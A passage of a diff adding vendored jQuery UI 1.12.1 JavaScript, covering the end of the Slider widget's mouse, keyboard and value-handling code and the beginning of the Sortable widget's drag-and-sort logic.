+			return false;
+		}
+		this._mouseSliding = true;
+
+		this._handleIndex = index;
+
+		this._addClass( closestHandle, null, "ui-state-active" );
+		closestHandle.trigger( "focus" );
+
+		offset = closestHandle.offset();
+		mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" );
+		this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
+			left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
+			top: event.pageY - offset.top -
+				( closestHandle.height() / 2 ) -
+				( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) -
+				( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) +
+				( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 )
+		};
+
+		if ( !this.handles.hasClass( "ui-state-hover" ) ) {
+			this._slide( event, index, normValue );
+		}
+		this._animateOff = true;
+		return true;
+	},
+
+	_mouseStart: function() {
+		return true;
+	},
+
+	_mouseDrag: function( event ) {
+		var position = { x: event.pageX, y: event.pageY },
+			normValue = this._normValueFromMouse( position );
+
+		this._slide( event, this._handleIndex, normValue );
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+		this._removeClass( this.handles, null, "ui-state-active" );
+		this._mouseSliding = false;
+
+		this._stop( event, this._handleIndex );
+		this._change( event, this._handleIndex );
+
+		this._handleIndex = null;
+		this._clickOffset = null;
+		this._animateOff = false;
+
+		return false;
+	},
+
+	_detectOrientation: function() {
+		this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
+	},
+
+	_normValueFromMouse: function( position ) {
+		var pixelTotal,
+			pixelMouse,
+			percentMouse,
+			valueTotal,
+			valueMouse;
+
+		if ( this.orientation === "horizontal" ) {
+			pixelTotal = this.elementSize.width;
+			pixelMouse = position.x - this.elementOffset.left -
+				( this._clickOffset ? this._clickOffset.left : 0 );
+		} else {
+			pixelTotal = this.elementSize.height;
+			pixelMouse = position.y - this.elementOffset.top -
+				( this._clickOffset ? this._clickOffset.top : 0 );
+		}
+
+		percentMouse = ( pixelMouse / pixelTotal );
+		if ( percentMouse > 1 ) {
+			percentMouse = 1;
+		}
+		if ( percentMouse < 0 ) {
+			percentMouse = 0;
+		}
+		if ( this.orientation === "vertical" ) {
+			percentMouse = 1 - percentMouse;
+		}
+
+		valueTotal = this._valueMax() - this._valueMin();
+		valueMouse = this._valueMin() + percentMouse * valueTotal;
+
+		return this._trimAlignValue( valueMouse );
+	},
+
+	_uiHash: function( index, value, values ) {
+		var uiHash = {
+			handle: this.handles[ index ],
+			handleIndex: index,
+			value: value !== undefined ? value : this.value()
+		};
+
+		if ( this._hasMultipleValues() ) {
+			uiHash.value = value !== undefined ? value : this.values( index );
+			uiHash.values = values || this.values();
+		}
+
+		return uiHash;
+	},
+
+	_hasMultipleValues: function() {
+		return this.options.values && this.options.values.length;
+	},
+
+	_start: function( event, index ) {
+		return this._trigger( "start", event, this._uiHash( index ) );
+	},
+
+	_slide: function( event, index, newVal ) {
+		var allowed, otherVal,
+			currentValue = this.value(),
+			newValues = this.values();
+
+		if ( this._hasMultipleValues() ) {
+			otherVal = this.values( index ? 0 : 1 );
+			currentValue = this.values( index );
+
+			if ( this.options.values.length === 2 && this.options.range === true ) {
+				newVal =  index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal );
+			}
+
+			newValues[ index ] = newVal;
+		}
+
+		if ( newVal === currentValue ) {
+			return;
+		}
+
+		allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) );
+
+		// A slide can be canceled by returning false from the slide callback
+		if ( allowed === false ) {
+			return;
+		}
+
+		if ( this._hasMultipleValues() ) {
+			this.values( index, newVal );
+		} else {
+			this.value( newVal );
+		}
+	},
+
+	_stop: function( event, index ) {
+		this._trigger( "stop", event, this._uiHash( index ) );
+	},
+
+	_change: function( event, index ) {
+		if ( !this._keySliding && !this._mouseSliding ) {
+
+			//store the last changed value index for reference when handles overlap
+			this._lastChangedValue = index;
+			this._trigger( "change", event, this._uiHash( index ) );
+		}
+	},
+
+	value: function( newValue ) {
+		if ( arguments.length ) {
+			this.options.value = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, 0 );
+			return;
+		}
+
+		return this._value();
+	},
+
+	values: function( index, newValue ) {
+		var vals,
+			newValues,
+			i;
+
+		if ( arguments.length > 1 ) {
+			this.options.values[ index ] = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, index );
+			return;
+		}
+
+		if ( arguments.length ) {
+			if ( $.isArray( arguments[ 0 ] ) ) {
+				vals = this.options.values;
+				newValues = arguments[ 0 ];
+				for ( i = 0; i < vals.length; i += 1 ) {
+					vals[ i ] = this._trimAlignValue( newValues[ i ] );
+					this._change( null, i );
+				}
+				this._refreshValue();
+			} else {
+				if ( this._hasMultipleValues() ) {
+					return this._values( index );
+				} else {
+					return this.value();
+				}
+			}
+		} else {
+			return this._values();
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var i,
+			valsLength = 0;
+
+		if ( key === "range" && this.options.range === true ) {
+			if ( value === "min" ) {
+				this.options.value = this._values( 0 );
+				this.options.values = null;
+			} else if ( value === "max" ) {
+				this.options.value = this._values( this.options.values.length - 1 );
+				this.options.values = null;
+			}
+		}
+
+		if ( $.isArray( this.options.values ) ) {
+			valsLength = this.options.values.length;
+		}
+
+		this._super( key, value );
+
+		switch ( key ) {
+			case "orientation":
+				this._detectOrientation();
+				this._removeClass( "ui-slider-horizontal ui-slider-vertical" )
+					._addClass( "ui-slider-" + this.orientation );
+				this._refreshValue();
+				if ( this.options.range ) {
+					this._refreshRange( value );
+				}
+
+				// Reset positioning from previous orientation
+				this.handles.css( value === "horizontal" ? "bottom" : "left", "" );
+				break;
+			case "value":
+				this._animateOff = true;
+				this._refreshValue();
+				this._change( null, 0 );
+				this._animateOff = false;
+				break;
+			case "values":
+				this._animateOff = true;
+				this._refreshValue();
+
+				// Start from the last handle to prevent unreachable handles (#9046)
+				for ( i = valsLength - 1; i >= 0; i-- ) {
+					this._change( null, i );
+				}
+				this._animateOff = false;
+				break;
+			case "step":
+			case "min":
+			case "max":
+				this._animateOff = true;
+				this._calculateNewMax();
+				this._refreshValue();
+				this._animateOff = false;
+				break;
+			case "range":
+				this._animateOff = true;
+				this._refresh();
+				this._animateOff = false;
+				break;
+		}
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this._toggleClass( null, "ui-state-disabled", !!value );
+	},
+
+	//internal value getter
+	// _value() returns value trimmed by min and max, aligned by step
+	_value: function() {
+		var val = this.options.value;
+		val = this._trimAlignValue( val );
+
+		return val;
+	},
+
+	//internal values getter
+	// _values() returns array of values trimmed by min and max, aligned by step
+	// _values( index ) returns single value trimmed by min and max, aligned by step
+	_values: function( index ) {
+		var val,
+			vals,
+			i;
+
+		if ( arguments.length ) {
+			val = this.options.values[ index ];
+			val = this._trimAlignValue( val );
+
+			return val;
+		} else if ( this._hasMultipleValues() ) {
+
+			// .slice() creates a copy of the array
+			// this copy gets trimmed by min and max and then returned
+			vals = this.options.values.slice();
+			for ( i = 0; i < vals.length; i += 1 ) {
+				vals[ i ] = this._trimAlignValue( vals[ i ] );
+			}
+
+			return vals;
+		} else {
+			return [];
+		}
+	},
+
+	// Returns the step-aligned value that val is closest to, between (inclusive) min and max
+	_trimAlignValue: function( val ) {
+		if ( val <= this._valueMin() ) {
+			return this._valueMin();
+		}
+		if ( val >= this._valueMax() ) {
+			return this._valueMax();
+		}
+		var step = ( this.options.step > 0 ) ? this.options.step : 1,
+			valModStep = ( val - this._valueMin() ) % step,
+			alignValue = val - valModStep;
+
+		if ( Math.abs( valModStep ) * 2 >= step ) {
+			alignValue += ( valModStep > 0 ) ? step : ( -step );
+		}
+
+		// Since JavaScript has problems with large floats, round
+		// the final value to 5 digits after the decimal point (see #4124)
+		return parseFloat( alignValue.toFixed( 5 ) );
+	},
+
+	_calculateNewMax: function() {
+		var max = this.options.max,
+			min = this._valueMin(),
+			step = this.options.step,
+			aboveMin = Math.round( ( max - min ) / step ) * step;
+		max = aboveMin + min;
+		if ( max > this.options.max ) {
+
+			//If max is not divisible by step, rounding off may increase its value
+			max -= step;
+		}
+		this.max = parseFloat( max.toFixed( this._precision() ) );
+	},
+
+	_precision: function() {
+		var precision = this._precisionOf( this.options.step );
+		if ( this.options.min !== null ) {
+			precision = Math.max( precision, this._precisionOf( this.options.min ) );
+		}
+		return precision;
+	},
+
+	_precisionOf: function( num ) {
+		var str = num.toString(),
+			decimal = str.indexOf( "." );
+		return decimal === -1 ? 0 : str.length - decimal - 1;
+	},
+
+	_valueMin: function() {
+		return this.options.min;
+	},
+
+	_valueMax: function() {
+		return this.max;
+	},
+
+	_refreshRange: function( orientation ) {
+		if ( orientation === "vertical" ) {
+			this.range.css( { "width": "", "left": "" } );
+		}
+		if ( orientation === "horizontal" ) {
+			this.range.css( { "height": "", "bottom": "" } );
+		}
+	},
+
+	_refreshValue: function() {
+		var lastValPercent, valPercent, value, valueMin, valueMax,
+			oRange = this.options.range,
+			o = this.options,
+			that = this,
+			animate = ( !this._animateOff ) ? o.animate : false,
+			_set = {};
+
+		if ( this._hasMultipleValues() ) {
+			this.handles.each( function( i ) {
+				valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() -
+					that._valueMin() ) * 100;
+				_set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+				$( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+				if ( that.options.range === true ) {
+					if ( that.orientation === "horizontal" ) {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+								left: valPercent + "%"
+							}, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( {
+								width: ( valPercent - lastValPercent ) + "%"
+							}, {
+								queue: false,
+								duration: o.animate
+							} );
+						}
+					} else {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+								bottom: ( valPercent ) + "%"
+							}, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( {
+								height: ( valPercent - lastValPercent ) + "%"
+							}, {
+								queue: false,
+								duration: o.animate
+							} );
+						}
+					}
+				}
+				lastValPercent = valPercent;
+			} );
+		} else {
+			value = this.value();
+			valueMin = this._valueMin();
+			valueMax = this._valueMax();
+			valPercent = ( valueMax !== valueMin ) ?
+					( value - valueMin ) / ( valueMax - valueMin ) * 100 :
+					0;
+			_set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+			this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+
+			if ( oRange === "min" && this.orientation === "horizontal" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+					width: valPercent + "%"
+				}, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "horizontal" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+					width: ( 100 - valPercent ) + "%"
+				}, o.animate );
+			}
+			if ( oRange === "min" && this.orientation === "vertical" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+					height: valPercent + "%"
+				}, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "vertical" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
+					height: ( 100 - valPercent ) + "%"
+				}, o.animate );
+			}
+		}
+	},
+
+	_handleEvents: {
+		keydown: function( event ) {
+			var allowed, curVal, newVal, step,
+				index = $( event.target ).data( "ui-slider-handle-index" );
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+				case $.ui.keyCode.END:
+				case $.ui.keyCode.PAGE_UP:
+				case $.ui.keyCode.PAGE_DOWN:
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					event.preventDefault();
+					if ( !this._keySliding ) {
+						this._keySliding = true;
+						this._addClass( $( event.target ), null, "ui-state-active" );
+						allowed = this._start( event, index );
+						if ( allowed === false ) {
+							return;
+						}
+					}
+					break;
+			}
+
+			step = this.options.step;
+			if ( this._hasMultipleValues() ) {
+				curVal = newVal = this.values( index );
+			} else {
+				curVal = newVal = this.value();
+			}
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+					newVal = this._valueMin();
+					break;
+				case $.ui.keyCode.END:
+					newVal = this._valueMax();
+					break;
+				case $.ui.keyCode.PAGE_UP:
+					newVal = this._trimAlignValue(
+						curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
+					);
+					break;
+				case $.ui.keyCode.PAGE_DOWN:
+					newVal = this._trimAlignValue(
+						curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) );
+					break;
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+					if ( curVal === this._valueMax() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal + step );
+					break;
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					if ( curVal === this._valueMin() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal - step );
+					break;
+			}
+
+			this._slide( event, index, newVal );
+		},
+		keyup: function( event ) {
+			var index = $( event.target ).data( "ui-slider-handle-index" );
+
+			if ( this._keySliding ) {
+				this._keySliding = false;
+				this._stop( event, index );
+				this._change( event, index );
+				this._removeClass( $( event.target ), null, "ui-state-active" );
+			}
+		}
+	}
+} );
+
+
+/*!
+ * jQuery UI Sortable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Sortable
+//>>group: Interactions
+//>>description: Enables items in a list to be sorted using the mouse.
+//>>docs: http://api.jqueryui.com/sortable/
+//>>demos: http://jqueryui.com/sortable/
+//>>css.structure: ../../themes/base/sortable.css
+
+
+
+var widgetsSortable = $.widget( "ui.sortable", $.ui.mouse, {
+	version: "1.12.1",
+	widgetEventPrefix: "sort",
+	ready: false,
+	options: {
+		appendTo: "parent",
+		axis: false,
+		connectWith: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		dropOnEmpty: true,
+		forcePlaceholderSize: false,
+		forceHelperSize: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		items: "> *",
+		opacity: false,
+		placeholder: false,
+		revert: false,
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		scope: "default",
+		tolerance: "intersect",
+		zIndex: 1000,
+
+		// Callbacks
+		activate: null,
+		beforeStop: null,
+		change: null,
+		deactivate: null,
+		out: null,
+		over: null,
+		receive: null,
+		remove: null,
+		sort: null,
+		start: null,
+		stop: null,
+		update: null
+	},
+
+	_isOverAxis: function( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	},
+
+	_isFloating: function( item ) {
+		return ( /left|right/ ).test( item.css( "float" ) ) ||
+			( /inline|table-cell/ ).test( item.css( "display" ) );
+	},
+
+	_create: function() {
+		this.containerCache = {};
+		this._addClass( "ui-sortable" );
+
+		//Get the items
+		this.refresh();
+
+		//Let's determine the parent's offset
+		this.offset = this.element.offset();
+
+		//Initialize mouse events for interaction
+		this._mouseInit();
+
+		this._setHandleClassName();
+
+		//We're ready to go
+		this.ready = true;
+
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+
+		if ( key === "handle" ) {
+			this._setHandleClassName();
+		}
+	},
+
+	_setHandleClassName: function() {
+		var that = this;
+		this._removeClass( this.element.find( ".ui-sortable-handle" ), "ui-sortable-handle" );
+		$.each( this.items, function() {
+			that._addClass(
+				this.instance.options.handle ?
+					this.item.find( this.instance.options.handle ) :
+					this.item,
+				"ui-sortable-handle"
+			);
+		} );
+	},
+
+	_destroy: function() {
+		this._mouseDestroy();
+
+		for ( var i = this.items.length - 1; i >= 0; i-- ) {
+			this.items[ i ].item.removeData( this.widgetName + "-item" );
+		}
+
+		return this;
+	},
+
+	_mouseCapture: function( event, overrideHandle ) {
+		var currentItem = null,
+			validHandle = false,
+			that = this;
+
+		if ( this.reverting ) {
+			return false;
+		}
+
+		if ( this.options.disabled || this.options.type === "static" ) {
+			return false;
+		}
+
+		//We have to refresh the items data once first
+		this._refreshItems( event );
+
+		//Find out if the clicked node (or one of its parents) is a actual item in this.items
+		$( event.target ).parents().each( function() {
+			if ( $.data( this, that.widgetName + "-item" ) === that ) {
+				currentItem = $( this );
+				return false;
+			}
+		} );
+		if ( $.data( event.target, that.widgetName + "-item" ) === that ) {
+			currentItem = $( event.target );
+		}
+
+		if ( !currentItem ) {
+			return false;
+		}
+		if ( this.options.handle && !overrideHandle ) {
+			$( this.options.handle, currentItem ).find( "*" ).addBack().each( function() {
+				if ( this === event.target ) {
+					validHandle = true;
+				}
+			} );
+			if ( !validHandle ) {
+				return false;
+			}
+		}
+
+		this.currentItem = currentItem;
+		this._removeCurrentsFromItems();
+		return true;
+
+	},
+
+	_mouseStart: function( event, overrideHandle, noActivation ) {
+
+		var i, body,
+			o = this.options;
+
+		this.currentContainer = this;
+
+		//We only need to call refreshPositions, because the refreshItems call has been moved to
+		// mouseCapture
+		this.refreshPositions();
+
+		//Create and append the visible helper
+		this.helper = this._createHelper( event );
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Get the next scrolling parent
+		this.scrollParent = this.helper.scrollParent();
+
+		//The element's absolute position on the page minus margins
+		this.offset = this.currentItem.offset();
+		this.offset = {
+			top: this.offset.top - this.margins.top,
+			left: this.offset.left - this.margins.left
+		};
+
+		$.extend( this.offset, {
+			click: { //Where the click happened, relative to the element
+				left: event.pageX - this.offset.left,
+				top: event.pageY - this.offset.top
+			},
+			parent: this._getParentOffset(),
+
+			// This is a relative to absolute position minus the actual position calculation -
+			// only used for relative positioned helper
+			relative: this._getRelativeOffset()
+		} );
+
+		// Only after we got the offset, we can change the helper's position to absolute
+		// TODO: Still need to figure out a way to make relative sorting possible
+		this.helper.css( "position", "absolute" );
+		this.cssPosition = this.helper.css( "position" );
+
+		//Generate the original position
+		this.originalPosition = this._generatePosition( event );
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) );
+
+		//Cache the former DOM position
+		this.domPosition = {
+			prev: this.currentItem.prev()[ 0 ],
+			parent: this.currentItem.parent()[ 0 ]
+		};
+
+		// If the helper is not the original, hide the original so it's not playing any role during
+		// the drag, won't cause anything bad this way
+		if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
+			this.currentItem.hide();
+		}
+
+		//Create the placeholder
+		this._createPlaceholder();
+
+		//Set a containment if given in the options
+		if ( o.containment ) {
+			this._setContainment();
+		}
+
+		if ( o.cursor && o.cursor !== "auto" ) { // cursor option
+			body = this.document.find( "body" );
+
+			// Support: IE
+			this.storedCursor = body.css( "cursor" );
+			body.css( "cursor", o.cursor );
+
+			this.storedStylesheet =
+				$( "<style>*{ cursor: " + o.cursor + " !important; }</style>" ).appendTo( body );
+		}
+
+		if ( o.opacity ) { // opacity option
+			if ( this.helper.css( "opacity" ) ) {
+				this._storedOpacity = this.helper.css( "opacity" );
+			}
+			this.helper.css( "opacity", o.opacity );
+		}
+
+		if ( o.zIndex ) { // zIndex option
+			if ( this.helper.css( "zIndex" ) ) {
+				this._storedZIndex = this.helper.css( "zIndex" );
+			}
+			this.helper.css( "zIndex", o.zIndex );
+		}
+
+		//Prepare scrolling
+		if ( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+				this.scrollParent[ 0 ].tagName !== "HTML" ) {
+			this.overflowOffset = this.scrollParent.offset();
+		}
+
+		//Call callbacks
+		this._trigger( "start", event, this._uiHash() );
+
+		//Recache the helper size
+		if ( !this._preserveHelperProportions ) {
+			this._cacheHelperProportions();
+		}
+
+		//Post "activate" events to possible containers
+		if ( !noActivation ) {
+			for ( i = this.containers.length - 1; i >= 0; i-- ) {
+				this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) );
+			}
+		}
+
+		//Prepare possible droppables
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.current = this;
+		}
+
+		if ( $.ui.ddmanager && !o.dropBehaviour ) {
+			$.ui.ddmanager.prepareOffsets( this, event );
+		}
+
+		this.dragging = true;
+
+		this._addClass( this.helper, "ui-sortable-helper" );
+
+		// Execute the drag once - this causes the helper not to be visiblebefore getting its
+		// correct position
+		this._mouseDrag( event );
+		return true;
+
+	},
+
+	_mouseDrag: function( event ) {
+		var i, item, itemElement, intersection,
+			o = this.options,
+			scrolled = false;
+
+		//Compute the helpers position
+		this.position = this._generatePosition( event );
+		this.positionAbs = this._convertPositionTo( "absolute" );
+
+		if ( !this.lastPositionAbs ) {
+			this.lastPositionAbs = this.positionAbs;
+		}
+
+		//Do scrolling
+		if ( this.options.scroll ) {
+			if ( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
+					this.scrollParent[ 0 ].tagName !== "HTML" ) {
+
+				if ( ( this.overflowOffset.top + this.scrollParent[ 0 ].offsetHeight ) -
+						event.pageY < o.scrollSensitivity ) {
+					this.scrollParent[ 0 ].scrollTop =
+						scrolled = this.scrollParent[ 0 ].scrollTop + o.scrollSpeed;
+				} else if ( event.pageY - this.overflowOffset.top < o.scrollSensitivity ) {
+					this.scrollParent[ 0 ].scrollTop =
+						scrolled = this.scrollParent[ 0 ].scrollTop - o.scrollSpeed;
+				}
+
+				if ( ( this.overflowOffset.left + this.scrollParent[ 0 ].offsetWidth ) -
+						event.pageX < o.scrollSensitivity ) {
+					this.scrollParent[ 0 ].scrollLeft = scrolled =
+						this.scrollParent[ 0 ].scrollLeft + o.scrollSpeed;
+				} else if ( event.pageX - this.overflowOffset.left < o.scrollSensitivity ) {
+					this.scrollParent[ 0 ].scrollLeft = scrolled =
+						this.scrollParent[ 0 ].scrollLeft - o.scrollSpeed;
+				}
+
+			} else {
+
+				if ( event.pageY - this.document.scrollTop() < o.scrollSensitivity ) {
+					scrolled = this.document.scrollTop( this.document.scrollTop() - o.scrollSpeed );
+				} else if ( this.window.height() - ( event.pageY - this.document.scrollTop() ) <
+						o.scrollSensitivity ) {
+					scrolled = this.document.scrollTop( this.document.scrollTop() + o.scrollSpeed );
+				}
+
+				if ( event.pageX - this.document.scrollLeft() < o.scrollSensitivity ) {
+					scrolled = this.document.scrollLeft(
+						this.document.scrollLeft() - o.scrollSpeed
+					);
+				} else if ( this.window.width() - ( event.pageX - this.document.scrollLeft() ) <
+						o.scrollSensitivity ) {
+					scrolled = this.document.scrollLeft(
+						this.document.scrollLeft() + o.scrollSpeed
+					);
+				}
+
+			}
+
+			if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) {
+				$.ui.ddmanager.prepareOffsets( this, event );
+			}
+		}
+
+		//Regenerate the absolute position used for position checks
+		this.positionAbs = this._convertPositionTo( "absolute" );
+
+		//Set the helper position
+		if ( !this.options.axis || this.options.axis !== "y" ) {
+			this.helper[ 0 ].style.left = this.position.left + "px";
+		}
+		if ( !this.options.axis || this.options.axis !== "x" ) {
+			this.helper[ 0 ].style.top = this.position.top + "px";
+		}
+
+		//Rearrange
+		for ( i = this.items.length - 1; i >= 0; i-- ) {
+
+			//Cache variables and intersection, continue if no intersection
+			item = this.items[ i ];
+			itemElement = item.item[ 0 ];
+			intersection = this._intersectsWithPointer( item );
+			if ( !intersection ) {
+				continue;
+			}
+
+			// Only put the placeholder inside the current Container, skip all
+			// items from other containers. This works because when moving
+			// an item from one container to another the
+			// currentContainer is switched before the placeholder is moved.
+			//
+			// Without this, moving items in "sub-sortables" can cause
+			// the placeholder to jitter between the outer and inner container.
+			if ( item.instance !== this.currentContainer ) {
+				continue;
+			}
+
+			// Cannot intersect with itself
+			// no useless actions that have been done before
+			// no action if the item moved is the parent of the item checked
+			if ( itemElement !== this.currentItem[ 0 ] &&
+				this.placeholder[ intersection === 1 ? "next" : "prev" ]()[ 0 ] !== itemElement &&
+				!$.contains( this.placeholder[ 0 ], itemElement ) &&
+				( this.options.type === "semi-dynamic" ?
+					!$.contains( this.element[ 0 ], itemElement ) :
+					true
+				)
+			) {
+
+				this.direction = intersection === 1 ? "down" : "up";
+
+				if ( this.options.tolerance === "pointer" || this._intersectsWithSides( item ) ) {
+					this._rearrange( event, item );
+				} else {
+					break;
+				}
+
+				this._trigger( "change", event, this._uiHash() );
+				break;
+			}
+		}
+
+		//Post events to containers
+		this._contactContainers( event );
+
+		//Interconnect with droppables
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.drag( this, event );
+		}
+
+		//Call callbacks
+		this._trigger( "sort", event, this._uiHash() );
+
+		this.lastPositionAbs = this.positionAbs;
+		return false;
+
+	},
+
+	_mouseStop: function( event, noPropagation ) {
+
+		if ( !event ) {
+			return;
+		}
+
+		//If we are using droppables, inform the manager about the drop
+		if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
+			$.ui.ddmanager.drop( this, event );
+		}
+
+		if ( this.options.revert ) {
+			var that = this,
+				cur = this.placeholder.offset(),
+				axis = this.options.axis,
+				animation = {};
+
+			if ( !axis || axis === "x" ) {
+				animation.left = cur.left - this.offset.parent.left - this.margins.left +
+					( this.offsetParent[ 0 ] === this.document[ 0 ].body ?
+						0 :
+						this.offsetParent[ 0 ].scrollLeft
+					);
+			}
+			if ( !axis || axis === "y" ) {
+				animation.top = cur.top - this.offset.parent.top - this.margins.top +
+					( this.offsetParent[ 0 ] === this.document[ 0 ].body ?
+						0 :
+						this.offsetParent[ 0 ].scrollTop
+					);
+			}
+			this.reverting = true;
+			$( this.helper ).animate(
+				animation,
+				parseInt( this.options.revert, 10 ) || 500,
+				function() {
+					that._clear( event );
+				}
+			);
+		} else {
+			this._clear( event, noPropagation );
+		}
+
+		return false;
+
+	},
+
+	cancel: function() {
+
+		if ( this.dragging ) {
+
+			this._mouseUp( new $.Event( "mouseup", { target: null } ) );
+
+			if ( this.options.helper === "original" ) {
+				this.currentItem.css( this._storedCSS );
+				this._removeClass( this.currentItem, "ui-sortable-helper" );
+			} else {
+				this.currentItem.show();
+			}
+
+			//Post deactivating events to containers
+			for ( var i = this.containers.length - 1; i >= 0; i-- ) {
+				this.containers[ i ]._trigger( "deactivate", null, this._uiHash( this ) );
+				if ( this.containers[ i ].containerCache.over ) {
+					this.containers[ i ]._trigger( "out", null, this._uiHash( this ) );
+					this.containers[ i ].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		if ( this.placeholder ) {
+
+			//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately,
+			// it unbinds ALL events from the original node!
+			if ( this.placeholder[ 0 ].parentNode ) {
+				this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] );
+			}
+			if ( this.options.helper !== "original" && this.helper &&
+					this.helper[ 0 ].parentNode ) {
+				this.helper.remove();
+			}
+
+			$.extend( this, {
+				helper: null,
+				dragging: false,
+				reverting: false,
+				_noFinalSort: null
+			} );
+
+			if ( this.domPosition.prev ) {
+				$( this.domPosition.prev ).after( this.currentItem );
+			} else {
+				$( this.domPosition.parent ).prepend( this.currentItem );
+			}
+		}
+
+		return this;
+
+	},
+
+	serialize: function( o ) {
+
+		var items = this._getItemsAsjQuery( o && o.connected ),
+			str = [];
+		o = o || {};
+
+		$( items ).each( function() {
+			var res = ( $( o.item || this ).attr( o.attribute || "id" ) || "" )
+				.match( o.expression || ( /(.+)[\-=_](.+)/ ) );
+			if ( res ) {
+				str.push(
+					( o.key || res[ 1 ] + "[]" ) +
+					"=" + ( o.key && o.expression ? res[ 1 ] : res[ 2 ] ) );
+			}
+		} );
+
+		if ( !str.length && o.key ) {
+			str.push( o.key + "=" );
+		}
+
+		return str.join( "&" );
+
+	},
+
+	toArray: function( o ) {
+
+		var items = this._getItemsAsjQuery( o && o.connected ),
+			ret = [];
+
+		o = o || {};
+
+		items.each( function() {
+			ret.push( $( o.item || this ).attr( o.attribute || "id" ) || "" );
+		} );
+		return ret;
+
+	},
+
+	/* Be careful with the following core functions */
+	_intersectsWith: function( item ) {
+
+		var x1 = this.positionAbs.left,
+			x2 = x1 + this.helperProportions.width,
+			y1 = this.positionAbs.top,
+			y2 = y1 + this.helperProportions.height,
+			l = item.left,
+			r = l + item.width,
+			t = item.top,
+			b = t + item.height,
+			dyClick = this.offset.click.top,
+			dxClick = this.offset.click.left,
+			isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t &&
+				( y1 + dyClick ) < b ),
+			isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l &&
+				( x1 + dxClick ) < r ),
+			isOverElement = isOverElementHeight && isOverElementWidth;
+
+		if ( this.options.tolerance === "pointer" ||
+			this.options.forcePointerForContainers ||
+			( this.options.tolerance !== "pointer" &&
+				this.helperProportions[ this.floating ? "width" : "height" ] >
+				item[ this.floating ? "width" : "height" ] )
+		) {
+			return isOverElement;
+		} else {
+
+			return ( l < x1 + ( this.helperProportions.width / 2 ) && // Right Half
+				x2 - ( this.helperProportions.width / 2 ) < r && // Left Half
+				t < y1 + ( this.helperProportions.height / 2 ) && // Bottom Half
+				y2 - ( this.helperProportions.height / 2 ) < b ); // Top Half
+
+		}
+	},
+
+	_intersectsWithPointer: function( item ) {
+		var verticalDirection, horizontalDirection,
+			isOverElementHeight = ( this.options.axis === "x" ) ||
+				this._isOverAxis(
+					this.positionAbs.top + this.offset.click.top, item.top, item.height ),
